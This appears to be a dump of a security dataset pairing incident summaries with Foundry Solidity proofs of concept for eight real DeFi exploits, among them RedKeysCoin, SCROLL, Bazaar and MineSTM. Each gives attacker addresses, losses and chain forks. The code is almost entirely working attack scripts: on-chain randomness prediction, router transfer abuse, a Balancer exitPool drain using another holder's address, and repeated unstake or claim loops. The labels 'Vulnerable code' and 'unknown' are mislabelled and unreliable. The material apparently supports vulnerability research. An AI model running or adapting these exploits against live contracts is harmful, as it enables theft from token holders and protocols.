Farseen0/scar-pairs huggingface dataset:
HIGH severity: RedKeysCoin exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : $12K Attacker : https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601 Attack Contract : https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b Vulnerable Contract : https://bscscan.com/address/0x71e3056aa498

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

import "forge-std/interfaces/IERC20.sol";

// @KeyInfo - Total Lost : $12K
// Attacker : https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601
// Attack Contract : https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b
// Vulnerable Contract : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0
// Attack Tx : https://bscscan.com/tx/0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0#code

// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/SlowMist_Team/status/1794975336192438494
// Hacking God :

interface IRedKeysGame {
    function playGame(uint16 choice, uint16 ratio, uint256 amount) external;
    function counter() external view returns (uint256);
}

contract RedKeysCoin is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 39_079_951;

    IRedKeysGame constant game = IRedKeysGame(0x71e3056aa4985de9f5441f079E6C74454A3C95f0);
    IERC20 constant coin = IERC20(0x00e62b6CCf1fe3e5E01CE07F6232d7F378518b6b);

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(coin);

        vm.label(address(game), "RedKeysGame");
        vm.label(address(coin), "REDKEYS");

        // prepare for exploit
        deal(address(coin), address(this), 1e9);
        coin.approve(address(game), type(uint256).max);
    }

    function testExploit() public balanceLog {
        for (uint256 i = 0; i < 50; i++) {
            // get current counter
            uint256 counter = game.counter();

            // estimate bet result by calculating the result of the function randomNumber
            uint16 betResultExpectation = uint16(randomNumber(counter + 1)) % 2;

            // play the game
            game.playGame(betResultExpectation, 2, 1e9);
        }
    }

    // random number generator with same logic of target contract
    function randomNumber(
        uint256 counter
    ) internal view returns (uint256) {
        uint256 seed = uint256(
            keccak256(
                abi.encodePacked(
                    counter + block.timestamp + block.prevrandao
                        + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit
                        + ((uint256(keccak256(abi.encodePacked(address(this))))) / (block.timestamp)) + block.number
                )
            )
        );

        return (seed - ((seed / 1000) * 1000));
    }
}


Vulnerability type: unknown
HIGH severity: SCROLL exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~76 ETH Attacker : 0x55Db954F0121E09ec838a20c216eABf35Ca32cDD Attack Contract : 0x55f5aac4466eb9b7bbeee8c05b365e5b18b5afcc Vulnerable Contract : 0xe51D3dE9b81916D383eF97855C271250852eC7B7 Attack Tx : https://etherscan.io/tx/0x661505c39efe11

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~76 ETH
// Attacker : 0x55Db954F0121E09ec838a20c216eABf35Ca32cDD
// Attack Contract : 0x55f5aac4466eb9b7bbeee8c05b365e5b18b5afcc
// Vulnerable Contract : 0xe51D3dE9b81916D383eF97855C271250852eC7B7
// Attack Tx : https://etherscan.io/tx/0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xe51D3dE9b81916D383eF97855C271250852eC7B7#code

// @Analysis
 

interface IUniversalRouter {
    function execute(bytes calldata commands, bytes[] calldata input) external payable;
}

contract ContractTest is Test {
    address public attacker = address(this);
    address public SCROLL_creater = 0x72C509B05A44c4Bb53373Efc2E76fB75FA8108a6;

    IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
    Uni_Pair_V2 SCROLL_WETH_pair = Uni_Pair_V2(0xa718aa1b3f61C2b90A01aB244597816a7eE69fD2);
    IUniversalRouter universalRouter = IUniversalRouter(payable(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD));

    IERC20 constant SCROLL = IERC20(0xe51D3dE9b81916D383eF97855C271250852eC7B7);
    WETH9 constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    function setUp() public {
        vm.createSelectFork("mainnet", 19_971_611 - 1);
        vm.label(address(SCROLL), "SCROLL");
        vm.label(address(WETH), "WETH");
        vm.label(address(universalRouter), "Universal Router");
        vm.label(address(SCROLL_WETH_pair), "Uniswap V2 pair SCROLL WETH");
        vm.label(address(router), "Uniswap V2 Router");
    }

    function testExploit() public {
        SCROLL.balanceOf(address(universalRouter));
        bytes memory commands = hex"05";
        bytes[] memory inputs = new bytes[](1);
        inputs[0] = abi.encode(address(SCROLL), address(SCROLL_creater), uint256(1));
        universalRouter.execute(commands, inputs);
        SCROLL.balanceOf(address(universalRouter));

        address[] memory path = new address[](2);
        path[0] = address(SCROLL);
        path[1] = address(WETH);
        uint256[] memory amounts = new uint256[](2);
        amounts = router.getAmountsOut(SCROLL.balanceOf(address(SCROLL_WETH_pair)) * 1e3, path);

        inputs[0] = abi.encode(address(SCROLL), address(SCROLL_WETH_pair), uint256(amounts[0]));
        universalRouter.execute(commands, inputs);

        SCROLL_WETH_pair.swap(amounts[1], 0, attacker, "");
        WETH.withdraw(WETH.balanceOf(attacker));

        inputs[0] = abi.encode(address(SCROLL), address(attacker), SCROLL.balanceOf(address(universalRouter)));
        universalRouter.execute(commands, inputs);
    }

    fallback() external payable {}
}


Vulnerability type: unknown
HIGH severity: APEMAGA exploit (unknown). SPDX-License-Identifier: UNLICENSED Profit : ~9 ETH TX : https://app.blocksec.com/explorer/tx/eth/0x6beb21b53f5b205c088570333ec875b720e333b49657f7026b01ed72b026851e?line=19 Attacker : https://etherscan.io/address/0xb297735e9fb3e695ccce3963bfe042f318901ea0 Attack Contract : https://etherscan.io/addre

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// Profit : ~9 ETH
// TX : https://app.blocksec.com/explorer/tx/eth/0x6beb21b53f5b205c088570333ec875b720e333b49657f7026b01ed72b026851e?line=19
// Attacker : https://etherscan.io/address/0xb297735e9fb3e695ccce3963bfe042f318901ea0
// Attack Contract : https://etherscan.io/address/0x8de6314058c0b7eea809881d73e69b425c01f0b5#code
// Vulnerable Contract : https://etherscan.io/address/0x56ff4afd909aa66a1530fe69bf94c74e6d44500c
// GUY : https://x.com/ChainAegis/status/1806297556852601282

interface APEMAGA is IERC20 {
    function family(
        address account
    ) external;
}

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x85705829c2f71EE3c40A7C28f6903e7c797c9433);
    IUniswapV2Router uniswapv2 = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
    APEMAGA Apemaga = APEMAGA(0x56FF4AfD909AA66a1530fe69BF94c74e6D44500C);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    function setUp() external {
        cheats.createSelectFork("mainnet", 20_175_261);
        deal(address(WETH), address(this), 9 ether);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), 18);
        attack();
        emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);
    }

    function attack() public {
        swap_token_to_ExactToken(0.1 ether, address(WETH), address(Apemaga), 8000 ether);
        // emit log_named_decimal_uint("[End] Attacker token before exploit", Apemaga.balanceOf(address(this)), Apemaga.decimals());

        Apemaga.family(address(Pair));
        Apemaga.family(address(Pair));
        Apemaga.family(address(Pair));

        Pair.sync();

        address[] memory addrPath = new address[](2);
        addrPath[0] = address(Apemaga);
        addrPath[1] = address(WETH);
        Apemaga.approve(address(uniswapv2), 99_999_999 ether);
        uniswapv2.swapExactTokensForTokens(
            Apemaga.balanceOf(address(this)), 0, addrPath, address(this), type(uint256).max
        );
    }

    function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {
        IERC20(a).approve(address(uniswapv2), amountInMax);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        uniswapv2.swapExactETHForTokens{value: amount}(0, path, address(this), block.timestamp + 120);
    }
}


Vulnerability type: unknown
HIGH severity: Bazaar exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 1.4M Attacker : https://blastscan.io/address/0x3cf5B87726Af770c94494E886d2A69c42A203884 Attack Contract : https://blastscan.io/address/0xd31c7a22f4e6f928f1d4adabbc08c7bf88a3e402 Vulnerable Contract : https://blastscan.io/address/0xefb4e3Cc4

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : 1.4M
// Attacker : https://blastscan.io/address/0x3cf5B87726Af770c94494E886d2A69c42A203884
// Attack Contract : https://blastscan.io/address/0xd31c7a22f4e6f928f1d4adabbc08c7bf88a3e402
// Vulnerable Contract : https://blastscan.io/address/0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB
// Attack Tx : https://blastscan.io/tx/0x7fdd140f7631f62d62f7256ee4a38af51a4723ad5d66adc9b9685bf78f750f2d

// @Info
// Vulnerable Contract Code : https://blastscan.io/address/0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB#code

// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/shoucccc/status/1800353122159833195
// Hacking God :
pragma solidity ^0.8.0;

contract Bazaar is BaseTestWithBalanceLog {
    uint256 private constant BLOCKNUM_TO_FORK_FROM = 4_619_716;
    uint256 private constant MAX_ETH_OUT = 850_000_000 ether;
    uint256 private constant EXPECTED_ETH = 392.368916743742801361 ether;

    address private constant WETH_ADDRESS = 0x4300000000000000000000000000000000000004;
    address private constant RYOLO_ADDRESS = 0x86cba7808127d76deaC14ec26eF6000Aa78b2eBb;
    address private constant VULN_VAULT_ADDRESS = 0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB;

    IWETH private constant weth = IWETH(payable(WETH_ADDRESS));
    IBalancerVault private constant vulnVault = IBalancerVault(VULN_VAULT_ADDRESS);

    address private constant HOLDER_TO_TAKE_FROM = 0xb66585C4E460D49154D50325CE60aDC44bc900E9;
    bytes32 private constant TARGET_ID = 0xdc4a9779d6084c1ab3e815b67ed5e6780ccf4d90000200000000000000000001;

    receive() external payable {}

    function setUp() public {
        vm.createSelectFork("blast", BLOCKNUM_TO_FORK_FROM);
        fundingToken = address(weth);
    }

    function testExploit() public balanceLog {
        vulnVault.exitPool(TARGET_ID, HOLDER_TO_TAKE_FROM, payable(address(this)), buildExitPoolRequest());
        assertEq(getFundingBal(), EXPECTED_ETH, "Did not get expected ETH");
    }

    function buildExitPoolRequest() private view returns (IBalancerVault.ExitPoolRequest memory) {
        IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest({
            asset: new address[](2),
            minAmountsOut: new uint256[](2),
            userData: abi.encode(1, MAX_ETH_OUT),
            toInternalBalance: false
        });
        request.asset[0] = address(weth);
        request.asset[1] = RYOLO_ADDRESS;
        request.minAmountsOut[0] = 0;
        request.minAmountsOut[1] = 0;
        return request;
    }
}


Vulnerability type: unknown
HIGH severity: JokInTheBox exploit (unknown). Profit : ~9.2 ETH Attacker: https://etherscan.io/address/0xfcd4acbc55df53fbc4c9d275e3495b490635f113 Attack Contract: https://etherscan.io/address/0x9d3425d45df30183fda059c586543dcdeb5993e6 TX : https://etherscan.io/tx/0xe8277ef6ba8611bd12dc5a6e7ca4b984423bc0b3828159f83b466fdcf4fe054f

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// Profit : ~9.2 ETH
// Attacker: https://etherscan.io/address/0xfcd4acbc55df53fbc4c9d275e3495b490635f113
// Attack Contract: https://etherscan.io/address/0x9d3425d45df30183fda059c586543dcdeb5993e6
// TX : https://etherscan.io/tx/0xe8277ef6ba8611bd12dc5a6e7ca4b984423bc0b3828159f83b466fdcf4fe054f

 

interface IJokInTheBox is IERC20 {
    struct LockPeriod {
        bool isValid;
        uint256 bonus;
    }

    function stake(uint256 amount, uint256 lockPeriod) external;
    function unstake(
        uint256 stakeIndex
    ) external;
    function validLockPeriods(
        uint256
    ) external view returns (LockPeriod memory);
}

contract JokInTheBoxExploit is Test {
    IJokInTheBox jokStake_ = IJokInTheBox(address(0xA6447f6156EFfD23EC3b57d5edD978349E4e192d));

    IERC20 jok_ = IERC20(address(0xA728Aa2De568766E2Fa4544Ec7A77f79c0bf9F97));
    IERC20 weth_ = IERC20(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));

    Uni_Router_V2 router_ = Uni_Router_V2(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));

    function setUp() public {
        vm.createSelectFork("mainnet", 20_054_628);
        jok_.approve(address(router_), type(uint256).max);
        jok_.approve(address(jokStake_), type(uint256).max);
    }

    function testExploit() public {
        address[] memory path = new address[](2);
        path[0] = address(weth_); // weth
        path[1] = address(jok_); // token

        vm.deal(address(this), 0.2 ether); // flashLoan
        router_.swapExactETHForTokens{value: 0.2 ether}(0, path, address(this), block.timestamp);

        jokStake_.stake(jok_.balanceOf(address(this)), 1);

        vm.warp(block.timestamp + 3 days);
        while (true) {
            try jokStake_.unstake(0) {}
            catch {
                break;
            }
        }

        path[0] = address(jok_); // token
        path[1] = address(weth_); // weth

        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            jok_.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        weth_.transfer(address(0xdead), 0.2 ether); //repay flashloan
        emit log_named_decimal_uint("weth profit = ", weth_.balanceOf(address(this)), 18);
    }
}


Vulnerability type: unknown
HIGH severity: MineSTM exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 	$13.8K Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x849ed7f687cc2ebd1f7c4bed0849893e829a74f512b7f4a18aea39a3ef4d83b1 Attacker Address : https://bscscan.com/address/0x40a82dfdbf01630ea87a0372cf95fa8636fcad89 Attack Contract : http

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : 	$13.8K
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x849ed7f687cc2ebd1f7c4bed0849893e829a74f512b7f4a18aea39a3ef4d83b1
// Attacker Address : https://bscscan.com/address/0x40a82dfdbf01630ea87a0372cf95fa8636fcad89
// Attack Contract : https://bscscan.com/address/0x88c17622d33b327268924e9f90a9e475a244e3ab

 

interface IMineSTM {
    function updateAllowance() external;

    function sell(
        uint256
    ) external;
}

contract ContractTest is Test {
    Uni_Pair_V3 constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 STM = IERC20(0xBd0DF7D2383B1aC64afeAfdd298E640EfD9864e0);
    Uni_Pair_V2 constant BUSDT_STM = Uni_Pair_V2(0x2E45AEf311706e12D48552d0DaA8D9b8fb764B1C);
    Uni_Router_V2 constant ROUTER = Uni_Router_V2(0x0ff0eBC65deEe10ba34fd81AfB6b95527be46702);
    uint256 flashBUSDTAmount = 50_000 ether;
    IMineSTM mineSTM = IMineSTM(0xb7D0A1aDaFA3e9e8D8e244C20B6277Bee17a09b6);

    function setUp() public {
        vm.createSelectFork("bsc", 39_383_150 - 1);
    }

    function testExploit() public {
        BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint256(1)));

        emit log_named_decimal_uint("Profit: ", BUSDT.balanceOf(address(this)), 18);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        BUSDT_STM.sync();
        BUSDT.approve(address(ROUTER), flashBUSDTAmount);

        address[] memory path = new address[](2);
        path[0] = address(BUSDT);
        path[1] = address(STM);

        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            flashBUSDTAmount, 0, path, address(this), block.timestamp
        );

        STM.approve(address(mineSTM), type(uint256).max);
        mineSTM.updateAllowance();
        mineSTM.sell(81);
        mineSTM.sell(7);

        BUSDT.transfer(msg.sender, flashBUSDTAmount * 10_001 / 10_000);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: WIFCOIN_ETH exploit (unknown). Profit : ~3.4 ETH Attacker: https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a45892 Attack Contract: https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada TX1 : https://etherscan.io/tx/0xda8f6a4bed7e5689a343d111632d37480c0316f1d20b732803c4bd482823e284 TX2 : https://

Vulnerable code:
pragma solidity ^0.8.10;

import "../basetest.sol";
import "./../interface.sol";

// Profit : ~3.4 ETH
// Attacker: https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a45892
// Attack Contract: https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada
// TX1 : https://etherscan.io/tx/0xda8f6a4bed7e5689a343d111632d37480c0316f1d20b732803c4bd482823e284
// TX2 : https://etherscan.io/tx/0x58424115c6576b19cfb78b0b7ff00e0c13daa06d259f2a67210c112731519e09

// GUY : https://x.com/ChainAegis/status/1802550962977964139

interface WIFStaking is IERC20 {
    function stake(uint256 _stakingId, uint256 _amount) external;
    function claimEarned(uint256 _stakingId, uint256 _burnRate) external;
}

contract WIFCOIN_ETHExploit is BaseTestWithBalanceLog {
    WIFStaking WifStake = WIFStaking(0xA1cE40702E15d0417a6c74D0bAB96772F36F4E99);
    IERC20 Wif = IERC20(0xBFae33128ecF041856378b57adf0449181FFFDE7);

    Uni_Router_V2 router = Uni_Router_V2(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));
    uint256 ethFlashAmt = 0.3 ether;

    receive() external payable {}

    function setUp() public {
        vm.createSelectFork("mainnet", 20_103_189);
        Wif.approve(address(router), type(uint256).max);
        Wif.approve(address(WifStake), type(uint256).max);
        fundingToken = address(0);
    }

    function testExploit() public balanceLog {
        //Paths
        address[] memory buyPath = new address[](2);
        buyPath[0] = address(router.WETH()); // weth
        buyPath[1] = address(Wif); // token
        address[] memory sellPath = new address[](2);
        sellPath[0] = buyPath[1];
        sellPath[1] = buyPath[0];

        //set ethbal to 0.3 eth to buy tokens
        vm.deal(address(this), ethFlashAmt);
        router.swapExactETHForTokens{value: ethFlashAmt}(0, buyPath, address(this), block.timestamp);

        WifStake.stake(3, Wif.balanceOf(address(this)));
        while (true) {
            try WifStake.claimEarned(3, 10) {}
            catch {
                break;
            }
        }

        router.swapExactTokensForETH(Wif.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp);

        //Remove initial flash eth to get actual ETH profit
        vm.deal(address(this), address(this).balance - ethFlashAmt);
    }
}


Vulnerability type: unknown
HIGH severity: Will exploit (unknown). SPDX-License-Identifier: UNLICENSED Profit : ~52777 USD Attacker: https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e Attack Contract: https://bscscan.com/address/0x63b4de190c35f900bb7adf1a13d66fb1f0d624a1#code Actually there are 2 steps TX1 : https://app.blocksec.com/explorer/tx/

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// Profit : ~52777 USD
// Attacker: https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e
// Attack Contract: https://bscscan.com/address/0x63b4de190c35f900bb7adf1a13d66fb1f0d624a1#code
// Actually there are 2 steps
// TX1 : https://app.blocksec.com/explorer/tx/bsc/0xc12ccc3bdaf3f0ec1efa09d089a0c1dbad05519e1eb0fa6475ffcc6317cbde4d
// TX2 :https://app.blocksec.com/explorer/tx/bsc/0xefe58a14fc0022872262678b358aaae64a26fe2389d09093eb14752ea99415e9

 

interface Trading {
    function placeSellOrder(uint256 usdtAmount, uint256 margin, uint256 minUsdtReceived) external;
    function updateExpiredOrders() external;
    function settleExpiredPositions(
        uint256 minTokensToReceive
    ) external;
}

contract ContractTest is Test {
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IERC20 will = IERC20(0xe38593e7F4f2411E0C0aB74589A7209681ab4B1d);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    Trading trading = Trading(0x566777eD780dbbe17c130AE97b9FbC0A3Ab829DF);

    function setUp() external {
        cheats.createSelectFork("bsc", 39_979_796);
        deal(address(USDT), address(this), 180_000 ether);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
        attack();
        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
    }

    function attack() public {
        USDT.approve(address(trading), type(uint256).max);
        trading.placeSellOrder(71_000 ether, 0, 0);
        swap_token_to_token(address(USDT), address(will), 88_000 ether);
        /////step---2
        vm.warp(block.timestamp + 20);
        trading.updateExpiredOrders();
        trading.settleExpiredPositions(0);
        uint256 willamount = will.balanceOf(address(this));
        swap_token_to_token(address(will), address(USDT), willamount);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}


Vulnerability type: unknown